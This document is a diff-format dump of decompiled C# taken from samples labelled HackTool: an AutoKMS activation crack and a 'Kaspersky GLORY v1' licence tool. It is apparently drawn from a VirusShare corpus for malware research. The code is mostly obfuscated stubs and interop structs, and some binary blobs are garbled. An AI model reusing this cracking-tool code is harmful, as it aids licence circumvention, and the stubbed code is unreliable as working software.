||||
public IntPtr hInstance;
|
||||
public IntPtr hIcon;
|
||||
public string pszCaption;
|
||||
public uint nPages;
|
||||
public uint nStartPage;
|
||||
public IntPtr phpage;
|
||||
public IntPtr pfnCallback;
|
||||
public IntPtr hbmWatermark;
|
||||
public IntPtr hplWatermark;
|
||||
public IntPtr hbmHeader;
|
||||
}
|
||||
}
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.PropertySheetDisplay
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal class PropertySheetDisplay
|
||||
{
|
||||
[DllImport("comctl32.dll")]
|
||||
public static extern int PropertySheet([MarshalAs(UnmanagedType.Struct), In] ref PropSheetHeader psh);
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.SystemTime
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct SystemTime
|
||||
{
|
||||
public ushort Year;
|
||||
public ushort Month;
|
||||
public ushort DayOfWeek;
|
||||
public ushort Day;
|
||||
public ushort Hour;
|
||||
public ushort Minute;
|
||||
public ushort Second;
|
||||
public ushort Milliseconds;
|
||||
}
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.TaskTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct TaskTrigger
|
||||
{
|
||||
public ushort TriggerSize;
|
||||
public ushort Reserved1;
|
||||
public ushort BeginYear;
|
||||
public ushort BeginMonth;
|
||||
public ushort BeginDay;
|
||||
public ushort EndYear;
|
||||
public ushort EndMonth;
|
||||
public ushort EndDay;
|
||||
public ushort StartHour;
|
||||
public ushort StartMinute;
|
||||
public uint MinutesDuration;
|
||||
public uint MinutesInterval;
|
||||
public uint Flags;
|
||||
public TaskTriggerType Type;
|
||||
public TriggerTypeData Data;
|
||||
public ushort Reserved2;
|
||||
public ushort RandomMinutesInterval;
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.TaskTriggerType
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal enum TaskTriggerType
|
||||
{
|
||||
TIME_TRIGGER_ONCE,
|
||||
TIME_TRIGGER_DAILY,
|
||||
TIME_TRIGGER_WEEKLY,
|
||||
TIME_TRIGGER_MONTHLYDATE,
|
||||
TIME_TRIGGER_MONTHLYDOW,
|
||||
EVENT_TRIGGER_ON_IDLE,
|
||||
EVENT_TRIGGER_AT_SYSTEMSTART,
|
||||
EVENT_TRIGGER_AT_LOGON,
|
||||
}
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.TriggerTypeData
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
internal struct TriggerTypeData
|
||||
{
|
||||
[FieldOffset(0)]
|
||||
public Daily daily;
|
||||
[FieldOffset(0)]
|
||||
public Weekly weekly;
|
||||
[FieldOffset(0)]
|
||||
public MonthlyDate monthlyDate;
|
||||
[FieldOffset(0)]
|
||||
public MonthlyDOW monthlyDOW;
|
||||
}
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.Weekly
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct Weekly
|
||||
{
|
||||
public ushort WeeksInterval;
|
||||
public ushort DaysOfTheWeek;
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
+1
@@ -0,0 +1 @@
|
||||
,ׁ@NR״�ֳ>ˆiֲלױם~C^7OCבEUYl])¨„&K‡ם›9”�`|F*0{׀&0])¨l�‚%E”ֱ<6°/¨ֲµ�Yk?;&9]₪״1³שֹc¥lcַx=
|
||||
BIN
Binary file not shown.
+20
@@ -0,0 +1,20 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows;
|
||||
|
||||
[assembly: ThemeInfo(ResourceDictionaryLocation.None, ResourceDictionaryLocation.SourceAssembly)]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
[assembly: Guid("11b48b33-8b70-4bdf-be7c-a245e8e3a8e5")]
|
||||
[assembly: AssemblyDelaySign(false)]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: SuppressIldasm]
|
||||
[assembly: AssemblyKeyName("")]
|
||||
[assembly: AssemblyCopyright("Copyright @ Glory Team & ARAB-GB 2011")]
|
||||
[assembly: AssemblyProduct("Kaspersky_GLORY_v1")]
|
||||
[assembly: ComVisible(true)]
|
||||
[assembly: AssemblyDescription("By Glory team")]
|
||||
[assembly: AssemblyCompany("Glory Team & ARAB-GB")]
|
||||
[assembly: AssemblyTitle("Kaspersky GLORY v1")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
+270
@@ -0,0 +1,270 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DSIZmcjAW3UHvpoiYv.BZKTitwbNl6DcN6q4t
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Kaspersky_GLORY_v1;
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using p2XtB2VTdFjK0JQIVK;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows;
|
||||
|
||||
namespace DSIZmcjAW3UHvpoiYv
|
||||
{
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
internal sealed class BZKTitwbNl6DcN6q4t
|
||||
{
|
||||
private static MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<Computer> \u0037wUA3K5FS;
|
||||
private static MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<User> StWuGHvv3;
|
||||
private static MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<BZKTitwbNl6DcN6q4t.YHLRBRarp6ocYAlDIi> iepZybAkM;
|
||||
private static MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<Microsoft.VisualBasic.Logging.Log> TJfGoS1Nc;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
static BZKTitwbNl6DcN6q4t()
|
||||
{
|
||||
\u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
int num = 3;
|
||||
while (true)
|
||||
{
|
||||
switch (num)
|
||||
{
|
||||
case 0:
|
||||
case 2:
|
||||
BZKTitwbNl6DcN6q4t.StWuGHvv3 = new MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<User>();
|
||||
goto case 6;
|
||||
case 1:
|
||||
case 4:
|
||||
BZKTitwbNl6DcN6q4t.TJfGoS1Nc = new MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<Microsoft.VisualBasic.Logging.Log>();
|
||||
num = 7;
|
||||
continue;
|
||||
case 3:
|
||||
BZKTitwbNl6DcN6q4t.fswDGCQwPWD1Buj7VaX();
|
||||
if (BZKTitwbNl6DcN6q4t.cPAySjQ1ZtgL5Iwasot())
|
||||
{
|
||||
num = 5;
|
||||
continue;
|
||||
}
|
||||
goto case 0;
|
||||
case 5:
|
||||
BZKTitwbNl6DcN6q4t.\u0037wUA3K5FS = new MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<Computer>();
|
||||
BZKTitwbNl6DcN6q4t.cPAySjQ1ZtgL5Iwasot();
|
||||
num = BZKTitwbNl6DcN6q4t.FvBuNBQ9IS7xWB2lJFv() ? 1 : 0;
|
||||
continue;
|
||||
case 6:
|
||||
BZKTitwbNl6DcN6q4t.iepZybAkM = new MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<BZKTitwbNl6DcN6q4t.YHLRBRarp6ocYAlDIi>();
|
||||
goto case 1;
|
||||
case 7:
|
||||
goto label_8;
|
||||
default:
|
||||
if (true)
|
||||
{
|
||||
num = 6;
|
||||
continue;
|
||||
}
|
||||
goto case 6;
|
||||
}
|
||||
}
|
||||
label_8:;
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static Kaspersky_GLORY_v1.Application seWsLuReV() => (Kaspersky_GLORY_v1.Application) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static Computer CvmOFuRb7() => (Computer) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static User FleVY7hrK() => (User) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static Microsoft.VisualBasic.Logging.Log \u0038wGy8Btdv() => (Microsoft.VisualBasic.Logging.Log) null;
|
||||
|
||||
[DebuggerHidden]
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static BZKTitwbNl6DcN6q4t.YHLRBRarp6ocYAlDIi \u0034y971Mpj6() => (BZKTitwbNl6DcN6q4t.YHLRBRarp6ocYAlDIi) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void fswDGCQwPWD1Buj7VaX()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool cPAySjQ1ZtgL5Iwasot() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool FvBuNBQ9IS7xWB2lJFv() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object kOiX32QCVdeXgn69Grf() => (object) null;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Windows.Window", "Create__Instance__", "Dispose__Instance__", "My.MyWpfExtenstionModule.Windows")]
|
||||
internal sealed class YHLRBRarp6ocYAlDIi
|
||||
{
|
||||
public object \u0032I7wPSnFY;
|
||||
public object lMbr5OMgD;
|
||||
public object R5c2hJ3KY;
|
||||
public object BOlogqNeU;
|
||||
public object LdaiEVmoZ;
|
||||
public object O1BFmqXQx;
|
||||
public object Fx1nRfUKK;
|
||||
[ThreadStatic]
|
||||
private static Hashtable yUqUaojSS;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public FB ISFmXOES8() => (FB) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Kactive \u0038wGy8Btdv() => (Kactive) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public KDownloader uiDSJP5K6() => (KDownloader) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Loading iepZybAkM() => (Loading) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public MainWindow \u0032dt8e7deR() => (MainWindow) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Support \u0038xXCMRTUE() => (Support) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public UpdateC \u00305iRvC3Dw() => (UpdateC) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void FleVY7hrK([In] FB obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void HKGk3cGu3([In] Kactive obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void \u0037wUA3K5FS([In] KDownloader obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void TJfGoS1Nc([In] Loading obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void H10jte8fr([In] MainWindow obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void Mnd0ODixC([In] Support obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void RVCQ5y8jV([In] UpdateC obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private static T seWsLuReV<T>(object Instance) where T : Window, new() => (T) null;
|
||||
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void uWUfSQC1u<T>([In] ref T obj0) where T : Window
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public YHLRBRarp6ocYAlDIi()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public override bool Equals([In] object obj0) => true;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public override int GetHashCode() => 0;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal Type CvmOFuRb7() => (Type) null;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public override string ToString() => (string) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool y3NQGTQ6C2pOCLxvcxJ() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool AlEcB2QeD1j5ndJP9mg() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0035BWPFdQV9aqfgKLuaBc()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0038lhZPqQtmaxe25m8qAD([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object EfJ9ofQUJwsYZNiaiIg([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool \u0030ydOjxQbwKuKM4fQy07([In] object obj0, [In] object obj1) => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int pQuHWpQP6iU3Jk0JNYa([In] object obj0) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static RuntimeTypeHandle \u00333BjIpQrhN2Fc8QbaoV(int token) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl5;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static Type WUk0k0QcW0fuIP8TsZP([In] RuntimeTypeHandle obj0) => (Type) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object jjQ9GlQSSRRmX5RCtBf([In] object obj0) => (object) null;
|
||||
|
||||
static YHLRBRarp6ocYAlDIi() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
}
|
||||
+2074
File diff suppressed because it is too large
Load Diff
+74
@@ -0,0 +1,74 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{1621E484-1CDB-4A95-BB68-D9DFBB492663}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Kaspersky GLORY v1</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
|
||||
<ApplicationVersion>1.0.1.0</ApplicationVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="PresentationCore" />
|
||||
<Reference Include="PresentationFramework" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xaml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_003CModule_003E{1E0CF42E-6AF6-4AA5-9FF2-47ED1361C.cs" />
|
||||
<Compile Include="Grg8i8i1YMs98IPy4R\dC4qdNIcHbY6XFCXcG.cs" />
|
||||
<Compile Include="dGkVnXHiK2tWFJ4C6B\4ftP2cJrps1Vp0AYUA.cs" />
|
||||
<Compile Include="eWVX1sTotVGuGeBpEA\Ewv0DHKP53XXBO04Lw.cs" />
|
||||
<Compile Include="PiDHnfAR7iBcyRY1A4\2xlZRjWMTMLrRPrwuC.cs" />
|
||||
<Compile Include="DSIZmcjAW3UHvpoiYv\BZKTitwbNl6DcN6q4t.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\Application.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\FB.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\Kactive.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\KDownloader.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\Loading.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\MainWindow.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\MySettings.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\Support.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\UpdateC.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\My\MySettingsProperty.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\My\Resources\Resources.cs" />
|
||||
<Compile Include="p2XtB2VTdFjK0JQIVK\MdFubyyWUT0jdlleiq.cs" />
|
||||
<Compile Include="YAjZo0OoeOFXnanNqL\a3QWFQfrZxBoktRnP7.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="09aae7e9-d4d8-45bf-9a2f-cd554772cbde" />
|
||||
<EmbeddedResource Include="2651b929-7cba-4c8e-a8bc-2a0fd8782a67" />
|
||||
<EmbeddedResource Include="82174bff-490c-4ae4-ae1a-05bd86367369" />
|
||||
<EmbeddedResource Include="f5bee3ba-1ad0-41f6-ae28-bff52c07af84" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Kaspersky GLORY v1", "HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.csproj", "{1621E484-1CDB-4A95-BB68-D9DFBB492663}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{1621E484-1CDB-4A95-BB68-D9DFBB492663}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{1621E484-1CDB-4A95-BB68-D9DFBB492663}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{1621E484-1CDB-4A95-BB68-D9DFBB492663}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{1621E484-1CDB-4A95-BB68-D9DFBB492663}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+112
@@ -0,0 +1,112 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Kaspersky_GLORY_v1.Application
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Grg8i8i1YMs98IPy4R;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Kaspersky_GLORY_v1
|
||||
{
|
||||
[GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
|
||||
public class Application : System.Windows.Application
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Application()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal AssemblyInfo WHGs5tnTk() => (AssemblyInfo) null;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
}
|
||||
|
||||
[STAThread]
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public static void Main()
|
||||
{
|
||||
Application.\u0037i1ZEPnXXOm6Hna3Xa();
|
||||
int num;
|
||||
if (Application.Yra59UBLdyXW9MM8bB())
|
||||
num = 5;
|
||||
else
|
||||
goto label_7;
|
||||
label_5:
|
||||
while (true)
|
||||
{
|
||||
Application application;
|
||||
switch (num)
|
||||
{
|
||||
case 0:
|
||||
case 5:
|
||||
goto label_8;
|
||||
case 1:
|
||||
application = new Application();
|
||||
num = 2;
|
||||
continue;
|
||||
case 2:
|
||||
application.InitializeComponent();
|
||||
break;
|
||||
case 6:
|
||||
goto label_6;
|
||||
}
|
||||
application.Run();
|
||||
num = 6;
|
||||
}
|
||||
label_6:
|
||||
return;
|
||||
label_7:
|
||||
num = 4;
|
||||
if (Application.Yra59UBLdyXW9MM8bB())
|
||||
goto label_5;
|
||||
label_8:
|
||||
dC4qdNIcHbY6XFCXcG.\u0039wdMZOHfYHtmL();
|
||||
num = 1;
|
||||
goto label_5;
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0035WAmGrAg9EYEtiibyo()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0037X4xw6mxYAkxoUSFFs([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool Yra59UBLdyXW9MM8bB() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool \u0037i1ZEPnXXOm6Hna3Xa() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u0034hK8thdf174HistMvf() => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void i5qPMKjwOvT8n1WtZE([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
static Application()
|
||||
{
|
||||
dC4qdNIcHbY6XFCXcG.\u0039wdMZOHfYHtmL();
|
||||
\u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
}
|
||||
+325
@@ -0,0 +1,325 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Kaspersky_GLORY_v1.FB
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
